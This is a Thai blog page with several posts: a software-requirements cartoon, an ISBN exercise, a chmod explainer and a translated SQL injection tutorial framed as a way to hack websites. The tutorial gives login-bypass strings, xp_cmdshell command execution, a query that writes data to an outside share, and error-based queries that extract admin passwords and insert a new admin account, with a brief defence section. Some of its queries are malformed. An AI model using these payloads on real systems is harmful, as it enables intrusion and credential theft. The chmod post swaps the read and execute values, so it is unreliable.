PSOdAz's profile:: ถังความคิด THINK TANK...PhotosBlogListsMore Tools Help

Blog


    August 29

    New tab

    March 15

    ภาพที่ควรมีไว้ฝาบ้านของคนที่คิดจะทำ software

    ภาพนี้เป็นภาพ classic เลยครับ เพราะมันเป็นการจำลองเหตุการจริง ว่าถ้าผู้ใช้ต้องการพัฒนาอะไรขึ้นมาซักอย่าง ที่แม้แต่ตัวเองก็ไม่รู้ว่าต้องการอะไร แล้วก็มีคนเข้ามาช่วยพัฒนามากมาย มันก็จะเป็นอย่างในภาพครับ (คนที่เป็น customer ก็ควรดูไว้นะนี่)

    ดูรูปเต็ม

    รูปแรก เป็นความต้องการของผู้ใช้ เค้าคิดมาใกล้เคียงกับสิ่งที่เค้าเคยไปเห็นมาจากนั้นก็เสริมเติมแต่ลงไปอีก เช่นอยากให้นั่งได้หลายๆ คน แต่ก็ไม่ได้บอกตรงๆ แต่กลับบอกว่าให้มีหลายที่นั่ง เอามาซ้อนๆ กัน

    รูปที่สอง project leader ของเราเข้าใจผิดไปเล็กน้อยเพราะตอนแรกเค้าไม่รู้ชัดๆ ว่าจะเอาไปใช้ทำอะไร (อาจจะคิดว่าแบบนี้ก็ดีนะ พิงได้ด้วย)

    รูปที่สาม System Analyst ก็ฟังความมาจาก Project leader ครับ แต่เค้าพอจะรู้เรื่องเทคนิคอยู่บ้าง ก็จัดการแก้ปัญหาเลย

    รูปที่สี่ Programmer จอมขี้เกรียจครับมีความรู้อยู่บ้างก็ปรับเปลี่ยนซะเลย

    รูปที่ห้า Consult เค้ารู้ว่าจริงๆควรเป็นอย่างไร แต่ก็ไม่ได้คิดอะไรต่อยอดจากสิ่งที่ตัวเองเคยเห็นมา ก็เอาสิ่งที่รู้มาประกอบร่างกัน

    รูปที่หก document ไม่รู้จะเขียนทำไม เขียนไปก็ไม่มีคนอ่าน

    รูปที่เจ็ด สิ่งที่ผู้ใช้จะได้ เนื่องจากแก้กันมาหลายตลบ เติมเข้าไปแล้วก็ตัดออก ไปเรื่อยๆ สุดท้ายก็เหลือแค่แกน

    รูปที่แปด สิ่งที่ผู้ใช้ต้องจ่าย ทั้งค่าที่ปรึกษา ค่าแก้ไข ค่าอุปกรณ์ และสำคัญที่สุดค่าหมอ (รักษาอาการทางจิต)

    รูปที่เก้า ถ้าโครงการทำมาไม่ชัด ก็ไม่อยากมีคนทำมันต่อ ก็จะมี support เท่าที่พอจะมีได้ตามที่ตกลงกัน แต่เนื่องจากไม่มีคนใช้ มันก็ไม่ต้องการ support อยู่แล้ว

    รูปที่สิบ ผมคิดว่าภาพที่ชัดๆ แบบนี้ควรอยู่ในใจของทุกคนตั้งแต่ต้น โครงการที่ดีไม่ใช่ต้องคุยให้มากอย่างเดียว แต่ต้องคิดให้หนักด้วยว่าทำแค่ไหนถึงจะไม่มากไป และเก็บความต้องการของผู้ใช้ให้ครบ (ลูกค้าไม่ได้คาดหวังมากอย่างที่เราคิด)

    อยากบอกว่าแม้แต่โครงการใหญ่ๆ ที่มีคนเก่งๆ ช่วยกันทำก็มีปัญหานี้เหมือนกัน

    คัดลอกจาก : http://www.thaimacdev.com/node/79

    February 07

    :: SQL - Injection (ความรู้เก่าๆๆเอามาเล่าใหม่) ::

    กล่าวโดยรวมนะครับ
         บทความต่อไปนี้พยายามที่จะช่วยให้ผู้เริ่มต้นที่กำลังเผชิญกับปัญหาเกี่ยวกับการใช้ SQL Injection เพื่อให้เกิด
    ประโยชน์ และเพื่อป้องกันการโจมตีจากเทคนิคนี้
    Credit
         ข้อมูลเหล่านี้จัดหาและเรียบเรียง โดย SK
    รายละเอียด
    1.0 นำกันก่อนนะ
         เมื่อระบบเปิดเฉพาะ port 80 คงไม่ต้องมานั่งเสียเวลาให้เปล่าในการควานหาช่องโหว่ เพราะผู้ดูแลระบบก็
    คงอุดช่องโหว่ไว้แล้ว ดังนั้นวิธีเดียวคือแฮกผ่านเวปซะเลย SQL injection คือหนทางนึงของการ Hack web ซึ่งไม่ต้อง
    การอะไรนอกจาก port 80 วิธีนี้จะโจมตี web application (เช่น ASP, JSP, PHP, CGI, etc) มากกว่าที่จะเป็น
    การโจมตีเครื่อง server หรือ services ที่รันบนระบบปฏิบัติการ
         บทความนี้ไม่ได้นำเสนอสิ่งใหม่ SQL Injection ถูกเปิดเผยและใช้กันอย่างกว้างขวาง เราเขียนบทความนี้
    เพราะเราต้องการบันทึกการใช้ SQL Injection ไว้เป็นเอกสาร และหวังว่าส่วนหนึ่งของมันจะเป็นประโยชน์กับผู้อื่น คุณ
    สามารถหาข้อมูลเพิ่มเติมได้ในหัวข้อ "9.0 ข้อมูลเพิ่มเติม" (ขี้เกียจแปลสรุปเลย)
    1.1 SQL Injection คืออะไร
         มันคือ trick ที่จะใส่คำสั่ง SQL ลงไปใน via (Vacation Internet Access ) web pages ที่เป็นไปได้
    เวปเพจหลายแห่งรับค่า parameter จากผู้ใช้ และสร้างคำสั่งร้องขอไปยังฐานข้อมูล ยกตัวอย่างกรณี login เวปเพจจะสร้าง
    query เพื่อไปตรวจสอบ user กะ pass ใน DB ว่าถูกต้องหรือไม่ ด้วย SQL Injection มันจะเป็นไปได้ที่จะส่ง user
    และ pass ที่ถูกสร้างขึ้น ซึ่งจะเปลี่ยน SQL query และ grant (ยินยอม) อะไรทำนองนั้น
    1.2 สิ่งที่คุณต้องการ
         web browser อะไรก็ได้
    2.0 ควรจะมองหาอะไร
         ต้องมองหาหน้าเวปที่สามารถ submit ได้ เช่น หน้า login, หน้า search, หน้า feedback ฯลฯ บางครั้ง
    HTML Page จะใช้คำสั่ง post เพื่อส่งค่า parameter ไปยัง ASP Page อีกหน้าหนึ่ง คุณอาจจะเห็นหรือไม่เห็นค่า
    parameter ใน URL อย่างไรก็ตามคุณสามารถตรวจ source code สำหรับ HTML ได้ และมองหา "FORM" ใน
    HTML code คุณจะพบเห็นคำสั่งหน้าตาประมาณนี้
         ทุกๆ อย่างที่อยู่ระหว่าง และ มีค่าซึ่งอาจเป็นประโยชน์ก็ได้ (เทคนิคการทำ exploit)
    2.1 ทำไงถ้าไม่พบหน้าที่มีช่องทาง Input
         ต้องพยายามมองหาหน้าเพจที่เป็น ASP, JSP, CGI, or PHP พยายามเจาะจงไปที่ URL ที่มีการรับค่า
    parameter เช่น :
         http://duck/index.asp?id=10
    3.0 คุณจะรู้ได้อย่างไรว่ามีจุดอ่อน
         เริ่มด้วยการทดสอบโดยใส่ค่าอย่างเช่น
         hi' or 1=1--
         ลงไปในช่อง login หรือ pass หรือ URL ดังกล่าว เช่น
          - Login: hi' or 1=1--
          - Pass: hi' or 1=1--
          - http://duck/index.asp?id=hi' or 1=1--
         ถ้าต้องการทำวิธีนี้เพื่อผ่านเข้าไปพื้นที่ซ่อนไว้ แค่ download source HTML มาเก็บไว้ในเครื่องแล้วแก้
    source ตามนี้ เช่น :
         ถ้าโชคดี จะผ่านเข้าไปได้โดยไม่ต้องใช้ user หรือ pass
    3.1 แต่ทำไมต้องเป็น ' or 1=1--
         เราลองมาดูตัวอย่างอีกอันว่าทำไม ' or 1=1-- ถึงสำคัญขนาดนี้ นอกจากจะ bypass login แล้ว มันยัง
    เป็นไปได้ที่จะทำให้เรามองเห็นข้อมูลที่ไม่เปิดเผยโดยทั่วไปได้ เข้าไปหน้า ASP ที่เข้าไปสู่หน้าเพจอีกหน้าซึ่งมี URL
    ประมาณนี้นะครับ :
         http://duck/index.asp?category=food
         ตรง 'category' เป็นชื่อตัวแปร และ 'food' เป็นค่าที่ส่งให้ตัวแปร 'category' ตามคำสั่งนี้ ASP จะ
    สร้าง code ตามนี้ (นี่เป็น code ที่เราสร้างขึ้นเพื่อการนี้เท่านั้น...ประมาณว่าของจริงอาจไม่ใช่แบบนี้ก็ได้...แนวๆ..อิอิ)
         v_cat = request("category")
         sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
         set rs=conn.execute(sqlstr)
         เราจะเห็นได้ว่า ตัวแปรจะถูกเก็บไว้ในตัวแปรอีกตัวที่ชื่อ v_cat ดังนั้น SQL statement ควรจะเป็น :
         SELECT * FROM product WHERE PCategory='food' (ตรงนี้พวกไม่เคยเล่น query คง
    กำลังงง ว่ามันคืออะไร...อุอุอุ...พยายามต่อไปครับ ประเคนมาถึงขนาดนี้แล้ว ที่เหลือก็แค่หาช้อนมาตักเข้าปากเท่านั้น)
         ตาม query นี้ จะทำการดึงฐานข้อมูลแถวที่มี field คำว่า 'food' ออกมา
         ที่นี่ เรามาลองเปลี่ยน URL ใหม่เป็นแบบนี้ดูนะครับ
         http://duck/index.asp?category=food' or 1=1--
         เราจะเห็นว่าตัวแปร v_cat ของเรา จะถูกรวมเป็น "food' or 1=1-- " (จากเดิมคือ
    sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'") ถ้าเราแทนที่ SQL query
    อย่างนี้แล้ว เราจะได้ query ใหม่เป็น :
         SELECT * FROM product WHERE PCategory='food' or 1=1--'
         เมื่อได้ query นี้ จะเป็นการเลือกทุกอย่างจากตารางฐานข้อมูลโดยไม่คำนึงถึง ค่า food ตัว "--" (อ่านว่า
    double dash ตัวขีดสองขีด) บอก MS SQL Server ให้เลิกสนใจ query ชั่วคราว ซึ่งจะกำจัดตัว single quote (')
    ตัวสุดท้ายออกไป (ถูกป่าวหว่า) บางครั้ง อาจเป็นไปได้ที่จะแทนที่ "--" ด้วย "#"
         อย่างไรก็ตาม ถ้าหากว่าเขาไม่ใช้ SQL Server หรือคุณไม่สามารถทำ(ให้เลิกสนใจ query ชั่วคราว)ได้ ให้
    ลองตัวนี้แทน
         ' or 'a'='a
         ซึ่งจะทำให้ SQL query เป็น :
         SELECT * FROM product WHERE PCategory='food' or 'a'='a'
         ซึ่งจะ return ผลออกมาเหมือนๆ กัน
         คุณสามารถลองเปลี่ยนแปลงได้ตามต่อไปนี้ :
         ' or 1=1--
         " or 1=1--
         or 1=1--
         ' or 'a'='a
         " or "a"="a
         ') or ('a'='a
    4.0 แล้วจะทำ remote execute กับ SQL Injection ยังไงหละ ?
         การที่จะสามารถที่จะ inject คำสั่ง SQL ได้นั้น เราต้องสามารถ execut SQL query ได้... โดยปกติแล้ว
    เวปที่ติดตั้ง MS SQL Server นั้นจะถูกรันไว้โดย System ซึ่งมีค่าเท่ากับการที่ Admin เข้าสู่ระบบ Windows เรา
    สามารถอาศัยขั้นตอนในการสำรอง(ถูกป่าวหว่า อันนี้งูๆ ปลาๆ ) เช่น master..xp_cmdshell ที่จะทำ remote execute
         '; exec master..xp_cmdshell 'ping 10.10.1.2'--
         ถ้า single quote (') ใช้ไม่ได้ให้ลอง double quote (")
         ตัว semi colon (Wink จะเป็นการจบคำสั่ง SQL และอนุญาตให้คุณเริ่มคำสั่งใหม่ได้ หากต้องการตรวจสอบคำสั่ง
    ว่าสำเร็จหรือไม่ สามารถทำได้โดย listen ICMP packet ที่ 10.10.1.2 (อันนี้ผมคงต้องใช้โปรแกรมช่วย) ดูว่าถ้ามี packet
    ใดๆ จาก server เช่น :
         #tcpdump icmp
         ถ้าไม่รับอะไรเลย แถมมี error message อีกตะหาก เป็นไปได้ว่า Admin ได้จำกัดการเข้าถึงของผู้ใช้เวปด้าน
    การทำ stored procedures ไว้เรียบร้อยแล้ว (ปิดช่องโหว่ซะแล้ว ...ทำไงต่อหละเนี๊ยะ)
    5.0 ทำไงที่จะได้มาซึ่งผลลัพธ์จากการใช้ mySQL query ?
         เป็นไปได้ที่จะใช้ sp_makewebtask เขียน query เข้าไปใน HTML :
         '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
         แต่ IP ของเป้าหมายต้องมี folder ที่เปิด share ไว้แบบ Everyone
    6.0 แล้วทำไงจะได้ข้อมูลจาก DB ที่ใช้ ODBC error message หละ ?
         เราสามารถใช้ข้อมูลจาก error message ที่มาจาก MS SQL Server ได้ เพื่อจะได้มาซึ่งข้อมูลที่เราต้องการ
    ทดลองเข้าเวปแบบนี้ดูนะ
         http://duck/index.asp?id=10
         เราสามารถลองใช้คำสั่ง UNION จำนวนเต็ม '10' ร่วมกับคำสั่งหรือตัวแปรอื่นๆ ได้ (มั่วไปนั่น) :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
         ตาราง INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลของทุกๆ ตารางใน server (ควรศึกษา
    เรื่อง DB เพิ่มเติมนะครับ จะมองเห็นภาพเอง) ส่วน field ที่ชื่อ TABLE_NAME นั้นประกอบด้วยชื่อของตารางต่างๆ ใน
    ฐานข้อมูลอย่างไม่ต้องสงสัย (ตามระบบของ DB จะมีตารางที่เก็บรายชื่อของตาราง คล้ายสารบัญตารางอะไรทำนองนั้น เพื่อใช้ใน
    การอ้างอิงและง่ายต่อการค้นหา) เหตุที่เลือกตารางนี้เพราะเรารู้ว่ามันมีอยู่จริงๆ query คือ
         SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
         มันจะ return ชื่อของตารางแรกในฐานข้อมูล เมื่อเรา UNION คำสั่งนี้กับจำนวนเต็ม 10 แล้ว MS SQL server
    จะพยายามแปลง string(nvarchar) ไปเป็น integer (ชนิดของตัวแปล) ซึ่งจะทำให้เกิด error (ความผิดพลาด) ขึ้น (ซึ่งปกติเรา
    ไม่สามารถแปลงตัวแปร string ไปเป็น interger ได้) ทำให้ server แสดงข้อความ error ออกมาอย่านี้ :
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
         /index.asp, line 5
         ข้อความข้างบนนี้แสดงให้เราเห็นได้ว่า มันไม่สามารถแปลงตัวแปร string ไปเป็น integer (แปลงข้อความเป็นตัวเลข)ได้
    ในกรณีนี้ เราได้รับชื่อของตารางแรกในฐานข้อมูลมาแล้ว คือ "table 1"
         เพื่อที่จะเอาชื่อของตารางต่อไป เราต้องใช้คำสั่งต่อไปนี้
         http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
         เรายังสามารถค้นหาข้อมูลโดยใช้ keyword ทำนองเดียวกันนี้ :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
         ซึ่งผลที่ได้รับคือ
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
         /index.asp, line 5
         ข้อความ '%25login%25' จะถูกมองเห็นเป็น %login% ใน SQL server ในกรณีนี้เราก็จะได้ตารางชื่อ "admin_login"
    มาแล้ว
    6.1 เราจะทำเหมืองข้อมูล(กรรมวิธีที่ใช้ในการแยกแยะข้อมูลเป็น DB)เกี่ยวกับชื่อ column ในตารางทั้งหมดได้ยังไง ?
         เราสามารถใช้ประโยชน์อีกอย่างหนึ่งจาก INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อ columns
    ทั้งหมดออกมา :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
         ผลที่ได้คือ :
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
         /index.asp, line 5
         จากผลที่ได้นี้ เราก็จะได้ชื่อ column แรกมา เรายังสามารถใช้ NOT IN () เพื่อจะได้ชื่อ column ถัดไปดังนี้ :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
         ซึ่งผลที่ได้คือ
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
         /index.asp, line 5
         เมื่อเราทำไปเรื่อยๆเราก็จะเจอชื่อ column เช่น "password", "details" ซึ่งเราจะรู้ได้ว่าเจอแล้วเมื่อปรากฏข้อความ error ดังนี้
         http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
         ผลที่ได้คือ
         Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
         [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
         /index.asp, line 5
    6.2 ทำไงถึงจะได้มาซึ่งข้อมูลทุกอย่าง ?
         ตอนนี้เราสามารถระบุชื่อและcolumn ของตารางที่สำคัญๆ ได้แล้ว เราก็ยังคงใช้เทคนิคเดียวกันนี้กับข้อมูลอื่นๆ
    ที่เราต้องการจากฐานข้อมูล
         มองลองเอาชื่อ login_name จากตาราง "admin_login" กัน :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
         ผลที่ได้จากด้านบนคือ
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
         /index.asp, line 5
         ที่นี้เราก็จะรู้ชื่อของ admin ที่มี login_name ว่า "neo" สุดท้าย เอา pass ของ "neo" มาจาก DB :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
         ผลที่ได้คือ
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
         /index.asp, line 5
         เราก็จะสามารถ login ได้โดยใช้ user เป็น neo และ passwrod เป็น m4trix
    6.3 วิธีที่จะได้มาซึ่งค่า numeric string (ข้อความที่เป็นตัวเลข...อันนี้ต้องเคยเขียนโปรแกรมจึงจะเข้าใจประเภทของตัวแปร)
         ค่อนข้างจะมีข้อจำกัดสำหรับเทคนิคนี้ คือเราไม่สามารถทำ error message ได้ถ้าต้องการจะ แปลงข้อความเป็น
    ตัวเลขล้วนๆ พูดง่ายๆ คือ หากเราต้องการจะเอา pass ของคนที่ชื่อ "trinity" ซึ่งเขามี pass เป็น "31173" ซึ่งเป็นตัวเลขทั้งหมด :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
         เราจะพบว่า ผลที่ได้จะเจอกับ "Page Not Found" เพราะ "31173" ซึ่งเป็น string จะถูกแปลงไปเป็น number
    ก่อนที่จะทำการ UNION กับจำนวนเต็มดังกล่าว (ในที่นี้คือ 10) และหากว่าการ UNION ใช้ได้หรือถูกต้องนั้น SQL server จะไม่
    ส่ง error message ออกมา ดังนั้น เราจะไม่สามารถมองเห็นค่าตัวเลขใดๆ เลย (อืมข้อนี้น่าสนใจ เอาไว้ใช้เวลาตั้ง pass สำหรับ
    admin ได้นะ)
    การแก้ปัญหานี้ เราสามารถเชื่อมโยง numeric string กับ ตัวอักษรบางตัวแทน ซึ่งต้องมั่นใจว่าการแปลงนั้นส่งผลผิดพลาดแน่นอน(เพื่อ
    จะให้ server ส่ง error message ออกมา) เรามาลองคำสั่งนี้แทน :
         http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
         เราใช้เครื่องหมาย + เพิ่มเข้าไปใน passwd กับ ตัวอักษร ที่เราต้องการ (รหัส ASSCII สำหรับเครื่องหมาย '+' คือ 0x2b)
    เรายังเพิ่ม '(ช่องว่าง)morpheus' เข้าไปในช่อง passwd ด้วย เพราะฉะนั้นเมื่อเรามีเลข '31173' มันจะกลายเป็น '31173 morpheus'
    โดยปกติเรียกกันว่าฟังก์ชั่น convert() ซึ่งจะพยายามแปลง '31173 morpheus' ไปเป็นตัวเลขซึ่งจะทำให้ SQL server ส่ง
    error message ออกมาดังนี้ :
         Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
         [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
         /index.asp, line 5
         คราวนี้คุณก็สามารถ login ได้โดยใช้ passwd เป็น '31173'
    7.0 แล้วเราจะสามารถ update/insert ข้อมูลลงไปใน DB ได้รึป่าว ?
         ถ้าเรารู้ชื่อของตารางและ column แล้วมันก็เป็นไปได้ที่เราจะสามารถใช้คำสั่ง UPDATE หรือ INSERT ข้อมูล
    ลงไปในตารางได้ ยกตัวอย่างเช่น การเปลี่ยน passwd ของคนที่ชื่อ "neo" (แปลมาถึงตรงนี้เห็นได้ว่า คนเขียนบ้าหนังเรื่อง Matrix
    พอสมควร) ทำได้ดังนี้ :
         http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
         ทีนี่เราก็จะสามารถ login ได้ในชื่อ neo2 และ pass คือ newpas5
    8.0 แล้วจะหลีกเลี่ยงวิธีนี้ได้ไงอะ ?
         กรองตัวอักษรเช่น single quote, double quote, slash, back slash, semi colon extended ตัวอักษร
    เช่น NULL การ enter การขึ้นบรรทัดใหม่ ฯลฯ ที่เข้ามาในรูป String :
          - จาก Input ของ users
          - ค่า Parameters จาก URL
          - ค่าจากตัวแปร cookie
         สำหรับค่าทีเป็นตัวเลขให้แปลงเป็น จำนวนเต็มก่อนที่จะวางลงไปในคำสั่ง SQL หรือจะใช้คำสั่ง ISNUMERIC เพื่อให้แน่ใจว่าเป็นตัวเลข
    จำนวนเต็ม
         เปลี่ยน "Startup and run SQL Server" โดยปรับ privilege ให้อยู่ในระดับ low ใน SQL Server Security tab
         ลบ stored procedures ที่ไม่ใช้แล้วทิ้ง เช่น :
         master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
    9.0 ข้อมูลเพิ่มเติม
         ในช่วงแรกๆ ในการทำงานเรื่อง SQL Injection นี้ เราได้ค้นพบเอกสารจากเวป Rain Forest Puppy เกี่ยวกับการ hack
    ด้วยวิธี PacketStrom :
    http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
         บทความดีๆ เกี่ยวกับ ODBC error message :
    http://www.blackhat.com/presentations/wi...hfield.doc
         บทสรุปดีๆ สำหรับ SQL Injection ในหลายๆ SQL server
    http://www.owasp.org/asac/input_validation/sql.shtml
         บทความของ Sensepost เกี่ยวกับ SQL Injection
    http://www.sensepost.com/misc/SQLinsertion.htm
         อื่นๆ เพิ่มเติม
    http://www.digitaloffense.net/wargames01/IOWargames.ppt
    http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
    http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
    http://www.spidynamics.com/whitepapers/W...ection.pdf

    :: หมายเลข ISBN ขนาด 10 ของหนังสือ ::

         หนังสือที่พิมพ์กันทั้งหลายในโลกนี้จะมีหมายเลข ISBN ขนาด 10 หลัก ตัวอย่างเช่น
    หนังสือ "การออกแบบและวิเคราะห์อัลกอริทึม" เขียนโดยสมชาย ประสิทธิ์จูตระกูล จัดพิมพ์โดยสำนักงานพัฒนาวิทยาศาสตร์และเทคโนโลยีแห่งชาติ มี ISBN คือ 974 229 026 1
    เลขสิบหลักของ ISBN นั้นมีเลขหลักที่สิบ (หลักขวาสุด) เป็นตัวตรวจสอบความถูกต้องของอีก 9 ตัวทางซ้าย (เรียกว่า check digit) ให้ d_k แทนตัวเลขหลักที่ k จะได้ว่า check digit ต้องมีค่าเท่ากับ
    \displaystyle{\left( {\sum\limits_{k = 1}^9 {(k \times d_k )} } \right)\bmod 11}
    เช่น ถ้า 9 หลักซ้ายของ ISBN คือ 974229026 สามารถคำนวณ check digit ได้
    1x9 + 2x7 + 3x4 + 4x2 + 5x2 + 6x9 + 7x0 + 8x2 + 9x6 = 177
    check digit คือ 177 mod 11 = 1
    เนื่องจากขั้นตอนสุดท้ายในการหา check digit มาจากการ mod ด้วย 11 ซึ่งมีค่าได้ตั้งแต่ 0 ถึง 10 สำหรับกรณีที่ได้ค่าเป็น 10 จะใช้ตัวอักษร X ที่ตำแหน่ง check digit
    สิ่งที่ต้องการ
    เขียนโปรแกรมเพิ่มใน ISBN ให้ทำงานดังนี้
    รอรับ ISBN จากผู้ใช้ทางแป้นพิมพ์
    ตรวจสอบว่า ISBN ที่ได้รับถูกต้องหรือไม่
    ISBN ที่ไม่ถูกต้องมี 3 แบบคือ
    1)มีไม่ครบ หรือมีเกิน 10 หลัก
    2)เก้าหลักทางซ้ายมีบางตัวไม่ใช่ตัวเลข หรือหลักที่สิบ (ขวาสุด) ไม่ใช่ตัวเลขและไม่ใช่ X
    3)check digit มีค่าไม่ถูกต้องตามกฎ
    ให้แสดงผลของการตรวจสอบทางจอภาพ ดังนี้
    ถ้าถูกต้อง ให้แสดงคำว่า CORRECT
    ถ้าไม่ถูกต้อง
    แบบที่ 1 ให้แสดงคำว่า INCORRECT 1
    แบบที่ 2 ให้แสดงคำว่า INCORRECT 2
    แบบที่ 3 ให้แสดงคำว่า INCORRECT 3

    February 06

    เรือง :: CHOMD ที่ควรรู้จัก

         มีหลายท่านสอบถามมาว่า พี่ ผม D/L โปรแกรมไป เขาบอกว่าต้องเปลี่ยนค่า CHMOD เป็น 755 กับไฟล์ก่อน ไม่ทราบว่า CHMOD คืออะไร วันนี้ผมจะมาอธิบายให้ฟัง กับบทความนี้นะครับ

    << CHMOD >>

    CHMOD คือ ค่า Permission ครับ หรือธิบายเป็นไทยคือ ค่าของความมีสิทธิ์ในการเข้าถึงและใช้งาน File หรือ Directory นั้น ๆ ซึ่งจะมีค่าต่าง ๆ แบ่งเป็นตัวเลข 3 หลัก เช่น 755, 777 เป็นต้น ในความหมายของเลขแต่ละหลักทั้ง 3 หลัก จะมีความหมายดังนี้

    ตารางการกำหนดค่า CHMOD แบ่งตามกลุ่ม
    หลักแรก Owner หลักที่ 2 Group หลักที่ 3 Others or Puplic
    Execute
    Write
    Read
    Execute
    Write
    Read
    Execute
    Write
    Read

    4

    2
    1
    4
    2
    1
    4
    2
    1
    Execute คือ การสั่งให้ทำงาน  Write คือ การเขียนFile หรือ Directory  Read คือ การอ่าน File หรือ Directory

    เลขในหลักแรก -> เจ้าของไฟล์/directory (Owner)

    ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
    4 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
    6 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
    7 จะหมายความว่า เจ้าของ (Owner) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
    (ดูค่าตามตาราง ประกอบ)

    เลขในหลักที่สอง -> ผู้ใช้กลุ่มเดียวกับเจ้าของไฟล์/directory (Group)

    ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
    4 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
    6 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group)ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
    7 จะหมายความว่า ผู้ใช้ในกลุ่มเดียวกับเจ้าของ (Group) ไฟล์นั้น มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น (4+2+1)
    (ดูค่าตามตาราง ประกอบ)

    เลขในหลักที่สาม -> ผู้ใช้ในอื่น ๆ (Others)

    ตัวเลขในหลัแรก จะแสดงถึงสิทธิ์ในการเข้าถึงไฟล์ของผู้เป็นเจ้าของไฟล์ หรือ Dir นั้น ๆ ถ้า ตัวเลขหลักแรกเป็นเลข
    4 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน เพียงอย่างเดียว แต่ไม่มีสิทธิ์ เขียน หรือ อ่าน ไฟล์นั้น
    6 จะหมายความว่า ผู้ใช้ในอื่น ๆ มีสิทธิ์ในการสั่งให้ไฟล์นั้นทำงาน และมีสิทธิ์ในการเขียนไฟล์นั้นเพียงอย่างเดียว แต่ไม่มีสิทธิ์อ่านไฟล์นั้น (4+2)
